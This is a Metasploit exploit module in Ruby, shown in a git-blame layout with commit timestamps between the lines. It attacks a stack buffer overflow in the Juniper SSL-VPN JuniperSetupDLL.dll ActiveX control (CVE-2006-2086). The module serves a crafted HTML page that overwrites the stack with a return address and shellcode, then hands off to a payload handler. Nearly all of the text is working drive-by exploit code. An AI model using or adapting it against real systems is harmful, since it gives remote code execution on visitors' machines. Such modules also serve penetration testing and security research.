2009-07-30 15:47:23 +00:00
|
|
|
##
|
|
|
|
|
# $Id$
|
|
|
|
|
##
|
|
|
|
|
|
|
|
|
|
##
|
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
|
# http://metasploit.com/
|
2009-07-30 15:47:23 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = NormalRanking
|
2009-07-30 15:47:23 +00:00
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => 'Juniper SSL-VPN IVE JuniperSetupDLL.dll ActiveX Control Buffer Overflow',
|
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in the JuniperSetupDLL.dll
|
2009-07-30 15:47:23 +00:00
|
|
|
library which is called by the JuniperSetup.ocx ActiveX control,
|
|
|
|
|
as part of the Juniper SSL-VPN (IVE) appliance. By specifying an
|
|
|
|
|
overly long string to the ProductName object parameter, the stack
|
|
|
|
|
is overwritten.
|
|
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Author' => 'patrick',
|
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
|
'References' =>
|
|
|
|
|
[
|
2009-09-12 04:22:58 +00:00
|
|
|
[ 'CVE', '2006-2086' ],
|
2009-07-30 15:47:23 +00:00
|
|
|
[ 'OSVDB', '25001' ],
|
|
|
|
|
[ 'BID', '17712' ],
|
|
|
|
|
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2006-04/0743.html' ],
|
|
|
|
|
],
|
|
|
|
|
'DefaultOptions' =>
|
|
|
|
|
{
|
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
|
},
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'Space' => 1024,
|
|
|
|
|
'BadChars' => "\x00\x0a\x0d\x20<>()\"\\\';@\#\%\`",
|
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
|
},
|
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
'Targets' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'Windows XP Pro SP3 English', { 'Ret' => 0x77ae7f99 } ],# crypt32.dll jmp esp
|
|
|
|
|
[ 'Debugging', { 'Ret' => 0x44434241 } ],
|
|
|
|
|
],
|
|
|
|
|
'DisclosureDate' => 'Apr 26 2006',
|
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
# Re-generate the payload
|
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
|
|
|
|
|
|
# Randomize
|
|
|
|
|
vname = rand_text_alpha(rand(100) + 1)
|
|
|
|
|
|
|
|
|
|
# Build the exploit buffer
|
|
|
|
|
sploit = rand_text_alpha(2200)
|
|
|
|
|
sploit[220, 4] = [target['Ret']].pack('V')
|
|
|
|
|
sploit[240, payload.encoded.length] = payload.encoded
|
|
|
|
|
|
|
|
|
|
# Build out the message
|
|
|
|
|
content = %Q|
|
|
|
|
|
<html>
|
|
|
|
|
<object classid="CLSID:E5F5D008-DD2C-4D32-977D-1A0ADF03058B" id="#{vname}">
|
|
|
|
|
<PARAM NAME="ProductName" VALUE="#{sploit}">
|
|
|
|
|
</object>
|
|
|
|
|
<script language="javascript">
|
|
|
|
|
#{vname}.startSession();
|
|
|
|
|
</script>
|
|
|
|
|
</html>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
|
|
|
|
|
|
|
|
|
# Transmit the response to the client
|
|
|
|
|
send_response_html(cli, content)
|
|
|
|
|
|
|
|
|
|
# Handle the payload
|
|
|
|
|
handler(cli)
|
|
|
|
|
end
|
|
|
|
|
|
2009-09-12 04:22:58 +00:00
|
|
|
end
|
